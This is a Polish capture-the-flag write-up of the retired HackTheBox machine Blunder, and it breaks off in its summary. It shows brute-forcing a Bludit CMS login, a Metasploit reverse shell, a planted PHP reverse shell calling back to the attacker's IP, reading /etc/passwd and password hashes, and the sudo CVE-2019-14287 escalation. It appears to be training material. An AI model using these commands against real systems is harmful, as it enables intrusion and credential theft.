Writeup: Maszyna HackTheBox Blunder

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Blunder - spełnia ten warunek.

Machine Info

1. TLDR

Blunder graph

2. Przygotowanie

Przygotowałem przydatne zmienne:

export IP=10.10.10.191

3. Skanowanie i rozpoznanie

Na początku uruchomiłem agresywne skanowanie narzędziem nmap w celu ujawnienia i identyfikacji usług, które zostały uruchomione na 1000 najbardziej popularnych portach.

74wny0wl@whitehatlab$ nmap -A -Pn -n -oN nmap/01-initial.txt -T4 $IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-05 11:37 CDT
Nmap scan report for 10.10.10.191
Host is up (0.041s latency).
Not shown: 998 filtered ports
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Blunder | A blunder of interesting facts

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.20 seconds

Na serwerze był uruchomiony serwer http. Uruchomiłem więc narzędzie gobuster:

t4wny0wl@whitehatlab$ gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt

Wynik skanowania przedstawiłem poniżej:

t4wny0wl@whitehatlab$ cat gobuster/01-initial.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.191
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/07/05 12:15:00 Starting gobuster
===============================================================
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/usb (Status: 200)
/LICENSE (Status: 200)
/server-status (Status: 403)
/%3FRID%3D2671 (Status: 200)
===============================================================
2020/07/06 08:14:02 Finished
===============================================================

Kolejne narzędzie, który uruchomiłem to nikto:

t4wny0wl@whitehatlab$ nikto -h $IP -nossl | tee nikto/01-initial.txt 

Wynik skanowania przedstawiłem poniżej:

t4wny0wl@whitehatlab$ cat nikto/01-initial.txt 
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.191
+ Target Hostname:    10.10.10.191
+ Target Port:        80
+ Start Time:         2020-07-05 12:39:34 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Bludit
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /admin/config.php: PHP Config file may contain database IDs and passwords.
+ Scan terminated:  9 error(s) and 7 item(s) reported on remote host
+ End Time:           2020-07-05 13:56:28 (GMT-5) (4614 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nagłówek HTTP x-powered-by zdradził, że strona jest zarządzana przez CMS Bludit. Potwierdziłem ten fakt odwiedzając stronę http://10.10.10.191/admin/, gdzie widoczny był panel logowania do CMS:

Bludit SignIn

Szybka analiza źródła strony z panelem logowania dostarczyła informacji, że wykorzystywana wersja systemu Bludit to 3.9.2:

Bludit SignIn Source

4. Uzyskanie dostępu

Szybkie przeszukanie bazy exploitdb zwróciło trzy istniejące exploity:

t4wny0wl@whitehatlab$ searchsploit bludit
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                   |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Bludit - Directory Traversal Image File Upload (Metasploit)                                                                                                      | php/remote/47699.rb
Bludit 3.9.12 - Directory Traversal                                                                                                                              | php/webapps/48568.py
bludit Pages Editor 3.0.0 - Arbitrary File Upload                                                                                                                | php/webapps/46060.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Niestety do ich działania jest wymagane posiadanie konta w systemie CMS.

Bludit jest systemem CMS napisanym w PHP. Uruchomiłem więc jeszcze raz narzędzie gobuster, tym razem uwzględniając m.in. pliki php:

t4wny0wl@whitehatlab$ gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,htm,txt | tee gobuster/02-php.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.191
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     htm,txt,php,html
[+] Timeout:        10s
===============================================================
2020/07/06 11:35:57 Starting gobuster
===============================================================
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/t (Status: 200)
/install.php (Status: 200)
/empty (Status: 200)
/robots.txt (Status: 200)
/todo.txt (Status: 200)
/usb (Status: 200)
/LICENSE (Status: 200)
===============================================================
2020/07/06 15:38:51 Finished
===============================================================

Wśród nowych wyników pojawił się zasób /todo.txt:

HTB TODO

Z pozostawionej notatki dowiedziałem się, że jednym z twórców strony jest osoba o imieniu Fergus.

Ale jak zdobyć dostęp do jakiegokolwiek konta…? Setki prób, zero rezultatów. Wreszcie skończyły mi się pomysły: może jest jakakolwiek wskazówka na forum HTB? Tam trafiłem na post:

HTB Forum Post

Niech będzie: postanowiłem, że walczę dalej. Narzędziem cewl, na podstawie słów dostępnych na stronie internetowej, zbudowałem słownik możliwych haseł:

t4wny0wl@whitehatlab$ cewl -w dicts/01-wordlist.txt -d 10 -m 1 http://10.10.10.191

Następnie ręcznie zbudowałem słownik możliwych nazw użytkowników:

admin
Admin
administrator
Administrator
root
Fergus
fergus

Ostatecznie przystąpiłem do pisania narzędzia do łamania haseł w systemie CMS Bludit, które nazwałem bluditcracker:

t4wny0wl@whitehatlab$ ./bluditcracker.py -t http://10.10.10.191 -U users.txt -P ../dicts/01-wordlist.txt
...
2020-07-06 16:30:31 - INFO - Trying fergus:RolandDeschain
2020-07-06 16:30:32 - INFO - Credentials have been found => fergus:RolandDeschain

Po bardzo długim czasie oczekiwania, wynikającym z konieczności omijania blokady zabezpieczającej przed atakami brutalnymi, uzyskałem dostęp do CMS z wykorzystaniem danych uwierzytelniających fergus:RolandDeschain

Przeszedłem więc w przeglądarce na adres panelu CMS http://10.10.10.191/admin/login i wprowadziłem dane logowania. Uzyskałem dostęp do panelu administratora:

Bludit Panel

Z wyników wyszukiwania zwróconych przez narzędzie searchsploit było już wiadomo, że w wykorzystywanej wersji Blutdit (3.9.2) istnieje podatność polegająca na tym, że zdalny użytkownik może przesłać na serwer dowolny plik. Ostatecznie eksploitacja pozwala uzyskać zdalne wykonanie kodu.

Uruchomiłem więc narzędzie Metasploit:

t4wny0wl@whitehatlab$ msfconsole -q
msf5 > search bludit

Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
   0  exploit/linux/http/bludit_upload_images_exec  2019-09-07       excellent  Yes    Bludit Directory Traversal Image File Upload Vulnerability


msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOSTS 10.10.10.191
RHOSTS => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > run

[*] Started reverse TCP handler on 10.10.15.40:4444 
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading MqTsMakuYL.png...
[*] Uploading .htaccess...
[*] Executing MqTsMakuYL.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 1 opened (10.10.15.40:4444 -> 10.10.10.191:47806) at 2020-07-07 07:59:02 -0500
[+] Deleted .htaccess

meterpreter > 

5. Utrzymanie dostępu

W celu utrzymania dostępu do systemu, przygotowałem własny webshell:

t4wny0wl@whitehatlab$ cp /usr/share/webshells/php/php-reverse-shell.php ./

W pliku php-reverse-shell.php zainicjalizowałem zmienne $ip i $port:

$ip = '10.10.15.40';  // CHANGE THIS
$port = 5555;       // CHANGE THIS

Następnie przesłałem na serwer plik php-reverse-shell.php, wykorzystując do tego celu meterpreter:

meterpreter > pwd
/var/www/bludit-3.9.2/bl-content/tmp
meterpreter > cd ../../
meterpreter > upload php-reverse-shell.php
[*] uploading  : php-reverse-shell.php -> php-reverse-shell.php
[*] Uploaded -1.00 B of 5.36 KiB (-0.02%): php-reverse-shell.php -> php-reverse-shell.php
[*] uploaded   : php-reverse-shell.php -> php-reverse-shell.php

Na swojej maszynie przygotowałem netcata:

t4wny0wl@whitehatlab$ nc -nvlp 5555

i odwiedziłem stronę http://10.10.10.191/php-reverse-shell.php w celu uruchomienia połączenia.

Otrzymałem dostęp do shella jako użytkownik www-data:

Web shell connected

Zgodnie z dobrą praktyką wykonałem upgrade shella:

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

6. Eskalacja uprawnień: www-data ⇨ hugo

Na maszynie atakującego przygotowałem do wysłania skrypt linpeas.sh:

t4wny0wl@whitehatlab$ cp /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh ./

Wykorzystując istniejącą jeszcze sesję meterpretera, przesłałem skrypt na serwer:

meterpreter > cd /dev/shm
meterpreter > upload linpeas.sh
[*] uploading  : linpeas.sh -> linpeas.sh
[*] Uploaded -1.00 B of 222.92 KiB (-0.0%): linpeas.sh -> linpeas.sh
[*] uploaded   : linpeas.sh -> linpeas.sh

Następnie na zdalnej maszynie uruchomiłem skrypt linpeas.sh:

www-data@blunder:/$ cd /dev/shm
www-data@blunder:/dev/shm$ sh ./linpeas.sh | tee linpeas.txt

Analiza wyniku działania skryptu była bardzo czasochłonna. Ostatecznie skuteczną metodą okazało się wykorzystanie informacji, która pojawiła się na wyjściu standardowym po wykonaniu skryptu linpeas.sh. Dotyczyła ona istnienia katalogów

/var/www/bludit-3.9.2/bl-content/databases/

oraz

/var/www/bludit-3.10.0a/bl-content/databases/

Przeglądając wyżej wymienione katalogi znalazłem interesujące pliki

/var/www/bludit-3.9.2/bl-content/databases/users.php

oraz

/var/www/bludit-3.10.0a/bl-content/databases/users.php

Zawartość pierwszego z nich ujawniła istnienie dwóch użytkowników:

<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""
    },
    "fergus": {
        "firstName": "",
        "lastName": "",
        "nickname": "",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
        "email": "",
        "registered": "2019-11-27 13:26:44",
        "tokenRemember": "6faf61f2dc20b954b78dc64f8da53b87",
        "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "codepen": "",
        "instagram": "",
        "github": "",
        "gitlab": "",
        "linkedin": "",
        "mastodon": ""
    }

W drugim z plików znalazłem dane trzeciego użytkownika:

<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}

Sprawdziłem jednocześnie zawartość pliku /etc/passwd:

www-data@blunder:/var/www/bludit-3.10.0a$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:106:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:107:114::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:108:115:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:109:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:110:116:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:111:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
kernoops:x:114:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:116:122::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:117:123:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
whoopsie:x:118:124::/nonexistent:/bin/false
colord:x:119:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:120:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue:x:121:126::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:122:127:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:123:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:124:129:Gnome Display Manager:/var/lib/gdm3:/bin/false
shaun:x:1000:1000:blunder,,,:/home/shaun:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hugo:x:1001:1001:Hugo,1337,07,08,09:/home/hugo:/bin/bash
temp:x:1002:1002:,,,:/home/temp:/bin/bash

Jednym z użytkowników systemu operacyjnego zainstalowanego na serwerze był użytkownik hugo. Spróbowałem więc złamać jego hasło.

160-bitowy skrót hasła faca404fd5c0a31cf1897b823c695c85cffeb98d jest prawdopodobnie wynikiem działania funkcji skrótu SHA-1. Na początek zweryfikowałem, czy skrót ten istnieje w tęczowych tablicach:

Hugo CrackStation

Zatem dane uwierzytelniające użytkownika hugo to hugo:Password120

www-data@blunder:/$ su hugo
Password: 
hugo@blunder:/$

Pozostało odczytać flagę użytkownika:

hugo@blunder:/$ cat /home/hugo/user.txt
8487abe9592f2293a9a5d1a56625cfce

7. Eskalacja uprawnień: hugo ⇨ root

W pierwszym kroku sprawdziłem jakie programy mogę uruchomić jako root bez uwierzytelniania:

hugo@blunder:/$ sudo -l
Password: 
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

Zwrócony rezultat mówił o tym, że użytkownik hugo nie może uruchomić programu /bin/bash jako root. Znalazłem jednak podatność CVE-2019-14287, która dotyczy programu sudo przed wersją 1.8.28. Sprawdziłem więc wersję sudo:

hugo@blunder:/$ sudo -V
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1

Wersja progamu sudo była podatna, zatem:

hugo@blunder:/$ sudo -u#-1 /bin/bash
Password: 
root@blunder:/#

Pozostało tylko odczytać flagę:

root@blunder:/# cat /root/root.txt
9fe290ba69e62ebb0654ff35ea905411

8. Podsumowanie

Do zdobycia flag doprowadziły poniższe okoliczności: